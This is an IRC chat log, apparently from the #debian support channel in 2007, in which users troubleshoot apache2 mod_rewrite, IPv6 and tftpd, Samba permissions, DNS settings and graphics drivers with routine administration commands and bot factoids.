| 16:15.11 | gpm | use the debian package if at all possible |
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| 16:15.16 | jasonwc | stew: It shows all the packages to be upgraded marked as "UPGRADE" |
| 16:15.29 | jasonwc | ok, thanks Ste |
| 16:15.31 | jasonwc | stew: |
| 16:15.36 | jasonwc | lol, sorry :( |
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| 16:16.02 | epsilon | I prefer the sun's one, cause 1) better compatibility and 2) on my private mashine I don't care if debian package or sun binary |
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| 16:17.02 | gpm | suit yourself, i prefer something that's easy to install/uninstall/upgrade without leaving a mess |
| 16:17.13 | epsilon | mess? |
| 16:17.24 | epsilon | it's one-directory-install |
| 16:17.50 | epsilon | new JRE -> new dir, link /JRE -> /JRE-version, delete old one |
| 16:18.03 | jasonwc | stew: there is no /var/log/dpkg or dpkg.log |
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| 16:19.49 | ezguy | evermind i made a stupid mistake in the /etc/sudoers |
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| 16:19.58 | stew | jasonwc: oh, i was assuming you were running stable. you must be running something older than stable |
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| 16:20.07 | jasonwc | stew: I'm running Sarge |
| 16:20.08 | Haris | Hello folks |
| 16:20.15 | jasonwc | stew: I was in the process of upgrading to Etch |
| 16:20.16 | Haris | Where would pure-ftpd put pure-ftpd.conf on debina? |
| 16:20.20 | Haris | debian+ |
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| 16:20.56 | epsilon | usualy under /etc or /etc/<program>/ |
| 16:21.01 | Haris | aha! |
| 16:21.15 | epsilon | if not, check the sample conf somwhere under /usr/share/doc |
| 16:22.13 | Haris | This is a plesk box :p |
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| 16:22.42 | Haris | find'ing pure-ftpd.conf |
| 16:22.47 | Haris | not found :| |
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| 16:23.12 | Haris | damn, its proftpd |
| 16:23.25 | kiss | ÄãÃǺà |
| 16:23.37 | epsilon | then /etc/proftpd/* |
| 16:23.45 | kiss | ¡ð¡¡¡ð£¿ |
| 16:24.16 | kiss | ¡ð¡¡¡ð£¿ |
| 16:24.36 | gpm | keep it simple, stupid |
| 16:24.39 | xand | kiss: stop that |
| 16:24.56 | kiss | ʲô°¡£¿ |
| 16:25.00 | stew | kiss: english only in here |
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| 16:25.20 | stew | does anyone know what language he is trying to speak? |
| 16:25.23 | kiss | ʲôʲô |
| 16:25.24 | epsilon | kiss: #debian-utf8users |
| 16:25.33 | xand | stew: chinese IP |
| 16:25.34 | xand | !cn |
| 16:25.34 | dpkg | well, cn is China, or for help in chinese please /j #debian-zh, or for help in chinese please /j #debian-zh Please use UTF-8, for IRC help see http://tinyurl.com/8yrj9 | Qt/KDE è¿æ¸¡æå¼å§ï¼è¯¦æ请é读 |
| 16:25.59 | stew | xand: thanks |
| 16:26.13 | stew | kiss: /join #debian-zh |
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| 16:26.20 | Jognier | hi |
| 16:26.22 | kiss | love |
| 16:26.26 | mentor | !literal ch |
| 16:26.26 | dpkg | "ch" is "Switzerland, or #linux.ch and Confoederatio Helvetica" |
| 16:26.27 | kiss | you |
| 16:26.31 | mentor | !literal cn |
| 16:26.31 | dpkg | "cn" is "China, or for help in chinese please /j #debian-zh, or for help in chinese please /j #debian-zh Please use UTF-8, for IRC help see http://tinyurl.com/8yrj9 | Qt/KDE è¿æ¸¡æå¼å§ï¼è¯¦æ请é读" |
| 16:26.35 | dkr | he isn't using utf-8, though. :) |
| 16:27.04 | xand | wow, one of dpkg's characters looks chinese |
| 16:27.06 | Jognier | hey, im having problems with enabling mod_rewrite |
| 16:27.11 | Jognier | is it more like a apache issue? |
| 16:27.19 | xand | Jognier: on what version of apache? |
| 16:27.19 | stew | jasonwc: using apache or apache2 |
| 16:27.23 | mentor | dpkg no cn is China, or for help in chinese please /j #debian-zh. Please use UTF-8; for IRC help see http://tinyurl.com/8yrj9 | Qt/KDE è¿æ¸¡æå¼å§ï¼è¯¦æ请é读 |
| 16:27.23 | dpkg | i'm not going to learn illegal characters, mentor |
| 16:27.26 | karsten | Jognier: Yeah |
| 16:27.30 | kiss | NONONONONONON |
| 16:27.34 | Jognier | xand: apache2 |
| 16:27.38 | stew | jasonwc: run "a2enmod rewrite" |
| 16:27.42 | stew | Jognier: ^^ |
| 16:27.48 | Jognier | huh? |
| 16:27.55 | xand | run that command |
| 16:28.01 | Jognier | stew who are you writing to? |
| 16:28.03 | stew | Jognier: the command "a2enmod rewrite" will enable mod_rewrite |
| 16:28.31 | Jognier | This module is already enabled! |
| 16:28.32 | mentor | hmm |
| 16:28.34 | Jognier | weird |
| 16:28.47 | xand | what's wrong with it then? |
| 16:28.54 | stew | Jognier: did you put "RewriteEngine on" somewhere? |
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| 16:29.25 | Jognier | I added it to the httpd.conf and made a symlink to mods-enabled |
| 16:29.36 | Jognier | stew: no |
| 16:29.36 | Jognier | on apache conf? |
| 16:29.38 | pickcoder | put in the site config, not the server config |
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| 16:30.07 | Jognier | Options not allowed here |
| 16:30.13 | stew | Jognier: you have to put "RewriteEngine on" before the first "RewriteRule" if you want them to be executed |
| 16:30.14 | epsilon | do NOT add mod or site in httpd.conf in apache2 |
| 16:30.14 | Jognier | this is what I get in the error.log |
| 16:31.24 | stew | Jognier: that means you have put "Options" somewhere you shouldn't have, this has nothing to do with mod_rewrite |
| 16:31.32 | stew | Jognier: at this point you should probably be seeking help in #apache |
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| 16:32.30 | Jognier | alright, I got it working |
| 16:32.36 | Jognier | I had wrong setups else where |
| 16:32.38 | Jognier | my bad |
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| 16:36.51 | wols | iirc there is a gpl symbol violation which means you need a patch |
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| 16:38.08 | ctp | hi folks. which rss reader do you use? i need a gtk2/gnome based one. |
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| 16:40.39 | HostilePenguin | i cant figure iceweasel out it seems to hang at some images |
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| 16:41.52 | HostilePenguin | any way to set it to timeout? |
| 16:42.29 | lvh | ctp: i use raggle but thats console |
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| 16:42.49 | RichiH | wols: i tried removing the fatal warning in the source, no go |
| 16:43.12 | RichiH | wols: the symbol is exported as non-gpl in .22, anyway |
| 16:43.21 | lvh | ctp: still there? |
| 16:43.54 | RichiH | it breaks stuff for _lots_ of people |
| 16:43.57 | tarzeau | RichiH: accordingly what? |
| 16:44.08 | tarzeau | RichiH: everyone can use make-kpkg, it's not forbidden :) |
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| 16:44.18 | lvh | ctp: blam? liferea? both are gnomish |
| 16:44.22 | ctp | lvh: ok, thx. i'll try it out. what i didnt see is liferea. i think it's written for my purposes. |
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| 16:44.23 | RichiH | tarzeau: have 2.6.21 export paravirt_ops as non-gpl symbol |
| 16:44.30 | lvh | ctp: ya thats what i just said |
| 16:44.42 | ctp | lvh: ;-) |
| 16:44.43 | wols | RichiH: 2.6.21 is in lenny and sid. sid and lenny break. sometimes badly |
| 16:44.50 | lvh | ctp: doesnt errr.... whatever its name is, the mozilla mail client, do rss? |
| 16:44.59 | wols | also the the drivers in question are not in debian anyways |
| 16:45.04 | tarzeau | wols: and sometimes not so badly :) |
| 16:45.11 | RichiH | tarzeau: yah, the build of nv fails, as well ;) |
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| 16:45.24 | tarzeau | RichiH: not for me :) using ma own LOL.64 kernel |
| 16:45.30 | g00se | *Is* there a way of stopping us fscking up our fstab by manually editing? |
| 16:45.36 | RichiH | wols: true. still, there is an easy fix and it does not _need_ to be broken ;) |
| 16:45.38 | lvh | tarzeau: linux on linux? |
| 16:45.48 | tarzeau | !lol |
| 16:45.48 | dpkg | If you want to laugh, use heh or hah or bwahahaha. lol doesn't sound like laughter at all and makes you look like an AOL user. |
| 16:45.59 | tarzeau | lvh: lesbian on lesbian maybe |
| 16:46.09 | lvh | tarzeau: LOL.64? |
| 16:46.13 | HostilePenguin | its ssh iceweasel only hangs while im in ssh is that normal? |
| 16:46.16 | lvh | tarzeau: i think im missing critical humor |
| 16:46.24 | tarzeau | lvh: i name them ROFL, LOL and KEKEKE |
| 16:46.31 | tarzeau | lvh: and some random number |
| 16:46.36 | lvh | tarzeau: oh. |
| 16:46.44 | tarzeau | lvh: http://gnu.ethz.ch/debian/linux-2.6.20/ |
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| 16:46.59 | tarzeau | lvh: but since the bandwith at home is low, i don't put my own kernels online often |
| 16:47.06 | lvh | tarzeau: i name my boxen after breweries, and server boxen after whiskey brands |
| 16:47.25 | tarzeau | lvh: but if someone would ask for them (non-initrd, with KEXEC) i'd be glad to share them |
| 16:47.25 | lvh | tarzeau: sometimes just beers, too |
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| 16:48.14 | ctp | lvh: iceweasel supports rss, but i am looking for a standalone app, cause it's running all the day. iceweasel isnt ;-) |
| 16:48.33 | lvh | ctp: ah, then liferea and blam are probably answers to your question |
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| 16:48.55 | lvh | ctp: unfortunately i have experience with neither so i can't comment on their quality |
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| 16:49.34 | sn0 | ctp liferea is 'ok' |
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| 16:50.22 | py_ | hello |
| 16:51.55 | tarzeau | anyone play some #bub-n-bros join the gnu server now... |
| 16:52.07 | py_ | udev question: I want to completely disable persistent naming for my network interfaces, the same result as if /etc/udev/rules.d/z25_persistent-net.rules was never created. How can this be achieved? |
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| 16:52.57 | sn0 | py_ im not sure really but you could use ifrename to achieve similar goal |
| 16:53.10 | pickcoder | py_: name your devices by MAC using the existing rules and remove the z45_persistent-net-generator.rules |
| 16:53.40 | pickcoder | or you can name them PCI address... |
| 16:54.19 | py_ | pickcoder: what will happen if I remove both z45_persistent-net-generator.rules and z25_persistent-net.rules? Will they simply get named ethX the "old school" way? |
| 16:54.31 | ferret | echo fee $N |
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| 16:56.09 | pickcoder | py_: make sure you change the "hotplug ethX" to "auto ethX" in the interfaces file |
| 16:56.32 | pickcoder | the discovery tool should name them in order of hardware address |
| 16:56.42 | pickcoder | atleast that's how I understand it |
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| 16:57.22 | py_ | pickcoder: they're already in auto. I'll give that a try! thanks |
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| 17:02.43 | ezguy | what is the name of the pdf program that allow you view compressed/ziped pdf file? |
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| 17:03.25 | Kyusswren | Can somebody give me a good tutorial on sh? |
| 17:03.28 | wols | acrobat reader? |
| 17:03.29 | azeem | ezguy: most can I thought |
| 17:03.35 | wols | Kyusswren: #bash |
| 17:03.42 | azeem | ezguy: pdf /is/ compressed by default I thought |
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| 17:03.49 | wols | pdfs are usually compressed |
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| 17:04.34 | x_link | s |
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| 17:04.52 | |DuReX| | Hello guys, my pc is crashing sometimes, i took picture of the error: http://users.edpnet.be/dupondje/DSC00018.JPG & http://users.edpnet.be/dupondje/DSC00019.JPG any id what could cause this ? |
| 17:05.25 | azeem | |DuReX|: it's the kernel NFS server I guess |
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| 17:06.33 | pickcoder | |DuReX|: what version of Debian |
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| 17:13.44 | ezguy | azeen: i have some pdf.tgz files i you to view without extracting them. |
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| 17:14.15 | bkw | Jun 11 13:08:24 tor in.tftpd[2699]: connect from ::ffff:84.243.0.20 (::ffff:84.243.0.20) Jun 11 13:08:24 tor atftpd[2699]: Advanced Trivial FTP server started (0.7) Jun 11 13:08:24 tor atftpd[2699]: connect: Address family not supported by protocol |
| 17:14.22 | bkw | Why do I get that? |
| 17:14.30 | ezguy | azeen: xpdf does do, but there is an pdf program that will do but i forget what is call. do you know? |
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| 17:14.42 | pickcoder | er.. TCP4 can't do TCP6 addresses |
| 17:15.28 | bkw | bkw@tor:~$ cat /etc/modutils/aliases | grep net-pf-10 |
| 17:15.28 | bkw | alias net-pf-10 off # IPv6 |
| 17:15.48 | bkw | I did that and rebooted. |
| 17:15.55 | pickcoder | bkw: does :ffff:84.243.0.20 look like an IPV4 address? |
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| 17:16.04 | bkw | I donno where ipv6 comes from. |
| 17:16.10 | bkw | This is a default debian install. |
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| 17:17.30 | bkw | bkw@tor:~$ lsmod | grep ipv6 |
| 17:17.30 | bkw | ipv6 226016 16 |
| 17:17.46 | bkw | Why? this is a default installed machine. I have nothing to do with ipv6. |
| 17:17.48 | pickcoder | bkw: look at your netstat list for the tftp server and see what it's listening on |
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| 17:18.16 | mick_home | hi everyone, i'm trying to convert between (MPEG/MJPEG) to DV (so I can edit it in Kino). I tried `ffmpeg -i test.mpg output.dv` - but i get:[dv @ 0xffe8108]Can't initialize DV format! -- could anyone point me to what i might be doing wrong? i use MPEG/MJPEG (in xvidcap) since the DV option makes xvidcap segfault on my box http://pastebin.ca/559124 |
| 17:18.19 | bkw | pickcoder: it is in inetd.conf |
| 17:18.36 | bkw | pickcoder: are there standalone deamons I may try instead? |
| 17:18.45 | mick_home | that pastebin has the full error |
| 17:19.06 | pickcoder | just look at netstat -a and see if it's listening on an ipv6 address |
| 17:19.06 | RobJE_ | I'd like some help on samba-3.0.25a VS xcopy /s/e, which does not work if you are not the owner of the subdirecory. Any clues? |
| 17:19.08 | pickcoder | or if it's listenting on * |
| 17:19.31 | bkw | pickcoder: udp6 0 0 *:tftp *:* |
| 17:19.31 | stew | RobJE_: what is xcopy /s/e ? |
| 17:19.40 | pickcoder | bkw: ok.. |
| 17:19.49 | pickcoder | now, is the connecting device using ipv6? |
| 17:19.54 | bkw | no |
| 17:20.07 | RobJE_ | stew: a DOS(windows) commandline command to copy a directory tree. |
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| 17:20.16 | mick_home | stew: it is a way to copy from the commandline in Windows |
| 17:20.29 | bkw | I don't want ipv6 support at all, I don't really know even why there's a ipv6 module loaded by default. |
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| 17:21.03 | mick_home | RobJE_: i'd say check permissions |
| 17:21.10 | stew | RobJE_: you'll have to be more specific, are you trying to copy in one place on the samba share to another? or to somewhere else? or what? |
| 17:21.25 | stew | RobJE_: did you check the samba logs? |
| 17:21.26 | pickcoder | bkw: everything will eventually get migrated to ipv6. the :ffff: designation is a compatibility feature for ipv4 addresses |
| 17:21.38 | mick_home | i take it that he is trying to copy to a samba share from windows |
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| 17:21.49 | pickcoder | bkw: are you sure that the tftp server is configured for IPV4? |
| 17:21.54 | mick_home | good point about the logs |
| 17:22.23 | pickcoder | oh.. hold on |
| 17:22.24 | bkw | pickcoder: the inetd.conf line looks like: tftp dgram udp wait nobody /usr/sbin/tcpd /usr/sbin/in.tftpd /home/ftp |
| 17:22.36 | pickcoder | udp6 0 0 *:tftp |
| 17:22.44 | pickcoder | it's using udp6 |
| 17:22.55 | pickcoder | hm |
| 17:23.18 | bkw | pickcoder: inetutils-inetd - Internet super server is installed |
| 17:23.20 | pickcoder | the application should still be able to use ipv4 addresses |
| 17:23.26 | RobJE_ | stew, mick_home: I have three windows system (and users) re-generating a directory tree. copying it from the system that generated the tree (owner of the files/dirs) it works, but not from the other users. |
| 17:23.47 | stew | RobJE_: where are you copying to? |
| 17:24.02 | bkw | pickcoder: is there any tftpd installed in base, or do I have to install atftpd or similar? |
| 17:24.08 | RobJE_ | stew: from windows to samba |
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| 17:25.03 | RobJE_ | stew: changing owner solves the issue. so does dos filemode = Yes for files, but not directories |
| 17:25.12 | stew | RobJE_: you'll want to add all of the uses to a group, then make the diretctores owned by that group and writable by that group. possibly you'll want to set the group sticky bit on the directory to make sure the group owner is set automatically |
| 17:25.21 | stew | RobJE_: http://wiki.debian.org/Permissions |
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| 17:25.47 | RobJE_ | stew: done that already |
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| 17:26.29 | bkw | How do I disable the ipv6 load at boot? |
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| 17:26.39 | abrotman | !blacklist |
| 17:26.39 | dpkg | Sarge installs the Hotplug and Discover packages to help with hardware module loading - which can often load undesirable modules. Add 'skip foo' to /etc/discover.conf and 'foo' to /etc/hotplug/blacklist to prevent them from loading. Don't forget to remove it from /etc/modules (if present). in etch and sid, do it in /etc/modprobe.d/blacklist using "install module_name /bin/true". IMPORTANT: ask about blacklist-initramfs |
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| 17:27.38 | stew | RobJE_: show us the output of "ls -ld /path/to/directory" for one such directory |
| 17:28.35 | gpm | whoa, that factoid needs an update |
| 17:29.23 | RobJE_ | stew: drwxrwx--- 4 epping Domain Users 4096 2007-06-11 17:28 spos6 |
| 17:29.30 | pickcoder | bkw: you need to blacklist the ipv6 and the net-pf-10 modules and reboot |
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| 17:29.39 | pickcoder | but the problem, I think, it's inetd |
| 17:29.45 | RobJE_ | stew: as you can see, it' s a memberserver on our AD |
| 17:30.20 | bkw | pickcoder: I have changed to bkw@tor:~$ cat /etc/modutils/aliases | grep net-pf-10 |
| 17:30.20 | bkw | alias net-pf-10 off # IPv6 |
| 17:30.24 | bkw | didn't help |
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| 17:30.41 | pickcoder | you need to _blacklist_ the ipv6 and the net-pf-10 |
| 17:30.41 | Feto | has anybody used ntfs-3g? |
| 17:30.46 | Feto | i can't seem to be able to mount a fs |
| 17:31.30 | Suprano | Starting MySQL database server: mysqld . . . . . . . . . . . . . . failed |
| 17:31.35 | Suprano | :( |
| 17:31.43 | Suprano | a fresh apt-get .. |
| 17:32.00 | Feto | when I mount something i get this |
| 17:32.09 | bkw | pickcoder: tftp dgram udp wait nobody /usr/sbin/tcpd /usr/sbin/in.tftpd /home/ftp does that line from inetd.conf look correct? |
| 17:32.14 | pickcoder | bkw: /etc/modprobe.d/blacklist |
| 17:32.16 | Feto | # ntfs-3g /dev/ad8s1 /mnt |
| 17:32.16 | Feto | Failed to create /dev/fuse: No such file or directory |
| 17:32.16 | Feto | fuse: failed to open fuse device: No such file or directory |
| 17:32.53 | pickcoder | bkw: there is nothing wrong with the inetd config, but for some reason inetd is putting tftdp on a udp6 stack |
| 17:33.01 | pickcoder | and it can't deal with |
| 17:33.22 | pickcoder | you can load it manually or blacklist the ipv6 modules and reboot |
| 17:33.53 | bkw | is it only 'ipv6' I shall add to blacklist? |
| 17:33.59 | pickcoder | *sigh* |
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| 17:34.20 | pickcoder | scroll up and read |
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| 17:35.09 | bkw | pickcoder: but can I really blacklist net-pf-10? |
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| 17:35.30 | pickcoder | you already did, basically, by turning it off in the aliases |
| 17:35.39 | pickcoder | you should change that stuff back |
| 17:35.43 | pickcoder | and use the blacklist file |
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| 17:35.55 | pickcoder | for both ipv6 and net-pf-10 |
| 17:36.14 | bkw | hm ok. |
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| 17:37.33 | RobJE_ | stew: do you think this is a bug? |
| 17:37.55 | just | hi. i am using knoppix. how can i write some files to flash? |
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| 17:38.18 | Ronin | just: try #knoppix perhaps |
| 17:38.21 | HardDisk_WP | hi |
| 17:38.23 | HardDisk_WP | whats the package which contains the PPD files for the Epson DeskJet 890C? |
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| 17:38.41 | bkw | pickcoder: should I run anything efter the changes before I reboot, or just reboot? |
| 17:38.50 | bkw | after the changes, sorry. |
| 17:39.07 | pickcoder | bkw: rebooting should do it. run netstat -a and see if tcp6 or udp6 show up on any of the services |
| 17:39.13 | pickcoder | after rebooting |
| 17:39.45 | just | where should i rty it? |
| 17:39.47 | Feto | ok i fixed it |
| 17:39.48 | Feto | kldload fuse |
| 17:39.49 | Feto | =) |
| 17:40.26 | pickcoder | just: '/join #knoppix' in your irc client |
| 17:40.27 | just | i have downloaded one theme for kde, so i have to must save it |
| 17:40.47 | just | join #knoppix |
| 17:40.48 | lambda_ | HardDisk_WP, it appear http://www.linuxprinting.org is down but it normally own .ppd printer files |
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| 17:41.04 | just | thanks |
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| 17:42.28 | HardDisk_WP | lambda_, hmm i remember the .ppd was included in some debian package |
| 17:42.34 | HardDisk_WP | but i cant find it :X |
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| 17:43.19 | bkw | pickcoder: udp 0 0 0.0.0.0:69 0.0.0.0:* |
| 17:44.10 | lambda_ | HardDisk_WP, the package it depends is the current driver for your Epson |
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| 17:49.46 | Gokee2 | Can anyone tell me what the main qt package is? |
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| 17:50.50 | Gokee2 | Ah I think I see it libqt4-gui? |
| 17:50.51 | rahul | it's a library. anything that needs it will dep on the right stuff it needs |
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| 17:52.16 | Gokee2 | rahul, I am trying to compile a problem |
| 17:52.18 | Gokee2 | program* |
| 17:52.26 | rahul | then you need to -dev package, too |
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| 17:53.21 | Gokee2 | rahul, Ok thanks |
| 17:53.23 | wimpies | I just upgraded to sarge's mysql 5.0.38 and now it won't start anymore ? Previous version worked just fine. It does not seem to create the socket file |
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| 17:54.52 | sybariten | hey |
| 17:54.55 | sybariten | isnt there an apt channel? |
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| 17:55.00 | sybariten | i have a vague memory of that |
| 17:55.29 | techbee | <PROTECTED> |
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| 17:57.10 | stew | RobJE_: i doubt it is a bug. check the samba logs (in /var/log/samba) |
| 17:57.15 | |DuReX| | pickcoder: i'm using debian etch |
| 17:57.23 | |DuReX| | amd64 |
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| 17:57.57 | stew | i've never seen a group name with a space in it before either |
| 17:58.05 | wimpies | techbee : this http://pastebin.ca/559196 is what I get in the syslog |
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| 17:58.40 | TrueDD | Salut à tous |
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| 17:59.24 | TrueDD | hi all |
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| 17:59.41 | RobJE_ | stew: I think it is because i set dos filemode = Yes |
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| 17:59.50 | RobJE_ | stew: Enabling this parameter allows a user who has write access to the file (by whatever means) to modify the permissions (including ACL) on it. |
| 18:00.18 | wimpies | techbee : Ideas ? |
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| 18:00.54 | RobJE_ | stew: all users are member of the group and write permission is forced by smb.conf |
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| 18:02.50 | techbee | wimpies:can u paste mysql error logs |
| 18:04.08 | Tall-guy | guys, I'm trying to get a copy of kernel source ...why do I get this msg using apt-get? |
| 18:04.08 | Tall-guy | Couldn't find package kernel-source-2.4.27-2-386 |
| 18:04.56 | Jonny| | Hey, I Was wandering if anyone can help me, My graphics driver is currently running on i810, it doesnt load a game i play and comes up with a OpenGL Error, I Was told to change my Driver to "vesa" when i did that the game worked, but it ran too slow it wasnt playable. |
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| 18:05.05 | Jonny| | i was wandering if theres any other drivers i can use? |
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| 18:06.04 | Jonny| | Hey, I Was wandering if anyone can help me, My graphics driver is currently running on i810, it doesnt load a game i play and comes up with a OpenGL Error, I Was told to change my Driver to "vesa" when i did that the game worked, but it ran too slow it wasnt playable. I Was wandering if theres any other drivers i can use? Heres the information in xorg.conf i got. Section "Device" |
| 18:06.04 | Jonny| | Identifier"Intel Corporation Mobile 915GM/GMS/910GML Express Graphics Controller" |
| 18:06.08 | elZip | hello, has anyone had any success installing ATI proprietry drivers debain/etch |
| 18:06.45 | abrotman | !fglrx one-liner |
| 18:06.45 | dpkg | well, fglrx one-liner is update-pciids ; apt-get install module-assistant fglrx-driver fglrx-control fglrx-kernel-src && m-a prepare && m-a a-i fglrx && modprobe fglrx && echo fglrx >> /etc/modules && dpkg-reconfigure xserver-xorg. Contrib and non-free sources needed. ask me about <non-free sources> |
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| 18:07.04 | elZip | some1 tell dpkg that his oneliner sucks |
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| 18:07.34 | stew | elZip: if you have a suggestion for an improvement, please make it |
| 18:07.42 | stew | elZip: however, afaik that works for many people |
| 18:08.50 | elZip | stew: i dont what to do at the moment, xorg isnt compatible with ATI proprietry drivers and dpkgs oneliner doesnt do it for me |
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| 18:09.03 | zinx | fglrx is compatible with xorg. |
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| 18:09.10 | zinx | !doesn't work |
| 18:09.10 | dpkg | Look buddy, "doesn't work" is an ambiguous statement. Does it sit on the couch all day long? Does it procrastinate doing the dishes? Does it beg on the street for change? Please be specific! Define 'it' and what it isn't doing. Give us more details so we can help you without needing to ask basic questions like "what's the error message". |
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| 18:09.18 | Jonny| | !lol |
| 18:09.18 | dpkg | If you want to laugh, use heh or hah or bwahahaha. lol doesn't sound like laughter at all and makes you look like an AOL user. |
| 18:09.30 | Jonny| | I like this bot :O! |
| 18:09.33 | Gathond | elZip: unless they broke it recently that is not true, I've had xorg and fglrx working fine |
| 18:09.40 | Gathond | its been a while though |
| 18:09.49 | Jonny| | Anyone know anything about my problem? |
| 18:09.54 | zinx | in fact, they may have dropped support for *non* xorg. |
| 18:09.56 | Jonny| | i can copy the error onto pastebin.se |
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| 18:10.28 | techbee | !anyone |
| 18:10.28 | dpkg | Please do not ask if anyone uses, knows, is good with, can help you with or is a guru/expert of <someprogram>. Instead, ask your real question. (If the real question _was_ "does anyone use <someprogram>?" ask me about <popcon> instead.) See <ask> <sicco> <ask-to-ask> <polls> |
| 18:10.32 | elZip | Gathond: apparently ATI cant keep up with the constant changeing linux |
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| 18:10.44 | Geraldin | hello, is it ok to use this site as help to install driver for HP Laserjet 1018 :: http://foo2zjs.rkkda.com/ ? |
| 18:10.56 | Geraldin | on debian etch |
| 18:11.03 | Gathond | elZip: that may be, I doubt xorg has changed much though in regard to driver interfaces |
| 18:11.07 | ldsjohn | anyone know how to get my debian etch box to remember my dns settings? |
| 18:11.16 | ldsjohn | I keep putting them in resolv.conf and they keep leaving |
| 18:11.30 | Gathond | ldsjohn: you are using dhcp to get an IP address? |
| 18:11.33 | ldsjohn | no static |
| 18:11.41 | Gathond | dunno then |
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| 18:11.45 | ldsjohn | I was dhcp |
| 18:11.49 | ldsjohn | then I change to static |
| 18:11.49 | Geraldin | # /etc/network/interfaces |
| 18:12.16 | ldsjohn | yes but the man page for interfaces doesn't say anything about dns as far as I can tell, unless I dont understand routes |
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| 18:12.39 | Geraldin | i can paste mine |
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| 18:12.43 | ldsjohn | something is restoring resolv.conf when I reboot |
| 18:12.54 | Jonny| | :| |
| 18:13.05 | techbee | ldsjohn:if u r using static , then just add entry in resolv.conf , it will not be overwrittern |
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| 18:13.18 | ldsjohn | your sure?, |
| 18:13.22 | lambda_ | Geraldin, do you use dhcpd ? |
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| 18:13.33 | lambda_ | or dhclient3-server ? |
| 18:13.34 | elZip | i found a new guide apparently this guy has his card working with mephis distro |
| 18:13.34 | davidL | Does Debian fully support (stable read/write) FFS? |
| 18:13.39 | pickcoder | |DuReX|: do you have nfs-kernel-server installed or the nfs-user-server |
| 18:13.55 | tarzeau | !FFS |
| 18:13.55 | dpkg | i heard ffs is for fuck's sake, or for fine's sake. UCB's Fast File System, or for fearl's sake, or forgetfearl syndrome, or for Fooz' sake |
| 18:14.02 | tarzeau | davidL: i know UFS works, but ffs? |
| 18:14.03 | elZip | but like i said this will probably turn to be an xorg problem |
| 18:14.15 | Geraldin | http://paste.debian.net/30231 |
| 18:14.16 | techbee | ldsjohn:yes, i am |
| 18:14.19 | ldsjohn | http://pastebin.ca/559255 |
| 18:14.19 | Jonny| | Can anyone check my error? http://pastebin.se/20027 |
| 18:14.22 | Geraldin | oh |
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| 18:14.36 | ldsjohn | thats my interfaces.conf, and every time I reboot my /etc/resolv.conf resets |
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| 18:14.45 | Jonny| | all my information is at http://pastebin.se/20027. |
| 18:14.45 | davidL | tarzeau: UFS is the upper layer to FFS, so UFS is fully supported? |
| 18:14.55 | pickcoder | bkw: does tftpd work now? |
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| 18:15.02 | elZip | so what i'm trying to say is that debian tm; your xorg sucks |
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| 18:15.25 | bkw | pickcoder: yes and no, some clients which tries to download get timeout |
| 18:15.25 | tarzeau | davidL: by debian gnu/kfreebsd yes, by linux .. not really |
| 18:15.34 | tarzeau | davidL: but experimental has ufsutils (to make such fs) |
| 18:15.46 | tarzeau | davidL: it's not a debian thing, it's a linux thing (r/w support) |
| 18:16.07 | techbee | ldsjohn:how it is possible, u can change file attribute to avoid overwrittern ; man chattr |
| 18:16.22 | ldsjohn | hrm good idea :D |
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| 18:16.29 | davidL | tarzeau: so I guess it's not that stable after all, I may just have to use ext2 |
| 18:16.44 | pickcoder | bkw: does ifconfig show "inet6" addresses as well as "inet"? |
| 18:16.45 | tarzeau | davidL: with gnu/kfreebsd it's rock solid |
| 18:16.56 | tarzeau | davidL: otherwise i'm not sure, i've only used it read-only with linux |
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| 18:17.10 | tarzeau | davidL: you might need to build your own kernel enabling writing, do tests and report them back |
| 18:17.20 | tarzeau | davidL: anything special you have in mind, you want to do? |
| 18:17.21 | Jonny| | Can anyone check my error? http://pastebin.se/20027 |
| 18:17.42 | davidL | tarzeau: well I want to use an external to transfer data between openbsd and debian |
| 18:17.59 | tarzeau | davidL: i see |
| 18:18.19 | bkw | pickcoder: only ipv4 |
| 18:18.40 | bkw | <PROTECTED> |
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| 18:19.20 | Geraldin | Sorry <Jonny|> i have no idea |
| 18:19.55 | Jonny| | k Garldin |
| 18:20.05 | Jonny| | Anyone else have any ideas/views of my problem? |
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| 18:21.54 | Geraldin | oh , i got my mc from swfs yesterday with vlc player, better said this morning.... thank for the help ;-) |
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| 18:25.24 | Acu | can anyone show me one sample of sites-enabled virtual servers file |
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| 18:25.44 | stew | yeske! |
| 18:26.26 | stew | Acu: /etc/init.d/sites-available/ should have an example |
| 18:26.36 | stew | Acu: no, sorry, /etc/apache2/sites-available |
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| 18:28.27 | pickcoder | bkw: then the issue probably isn't with tftpd |
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| 18:28.41 | bkw | true |
| 18:28.51 | pickcoder | hosts.deny/hosts.allow or firewall rules on either side |
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| 18:29.08 | bkw | pickcoder: thank you |
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| 18:33.11 | arcil | hi i just reinstalled debian and now i am looking for a tutorial to install the ati drivers, i used to know a nice page where everything was installed (afaik it was a wiki). can somebody give me a link? |
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| 18:33.47 | stew | arcil: which chipset do you have? |
| 18:33.59 | arcil | ati radeon |
| 18:34.04 | stew | arcil: which |
| 18:34.37 | arcil | in my computer is a ati radeon 9800 pro with 128mb ram |
| 18:34.47 | stew | arcil: do you need 3d accelleration? |
| 18:34.58 | arcil | yes i want to use the drivers from ati |
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| 18:35.39 | diclophis-work | hello all |
| 18:35.50 | diclophis-work | has anyone ever come across a problem like this |
| 18:35.52 | wols | arcil: /msg dpkg ati one-liner |
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| 18:37.40 | arcil | wols: ty |
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| 18:39.42 | valdyn | mm, the free drivers support that card just fine, i would think |
| 18:39.48 | Jonny| | Can anyone check my error? http://pastebin.se/20027 |
| 18:40.05 | wols | valdyn: not as fast as the proprietary ones. and afaik r300 support is there but not good |
| 18:40.26 | valdyn | wols: runs quake3 |
| 18:40.38 | wols | Jonny|: is MESA installed? |
| 18:40.39 | valdyn | wols: im not a gamer... |
| 18:40.49 | Jonny| | wols im not sure |
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| 18:40.57 | wols | Thms: then make sure |
| 18:41.02 | wols | Jonny|: then make sure |
| 18:41.07 | Jonny| | How?=P |
| 18:41.10 | Jonny| | Im new to Debian |
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| 18:41.16 | valdyn | Jonny|: the vesa driver is a bad idea for this |
| 18:41.17 | wols | dpkg -l |
| 18:41.27 | valdyn | Jonny|: assuming your only choice was vesa - forget about opengl |
| 18:41.58 | stew | he has a i915, he should be able to do opengl |
| 18:42.06 | valdyn | stew: right |
| 18:42.07 | Jonny| | i810 i have |
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| 18:42.20 | Jonny| | right now its i810 but i get that error |
| 18:42.20 | valdyn | Jonny|: maybe the newer intel driver can give better results |
| 18:42.21 | Jonny| | ii mesa-common-de 6.5.1-0.6 Developer documentation for Mesa |
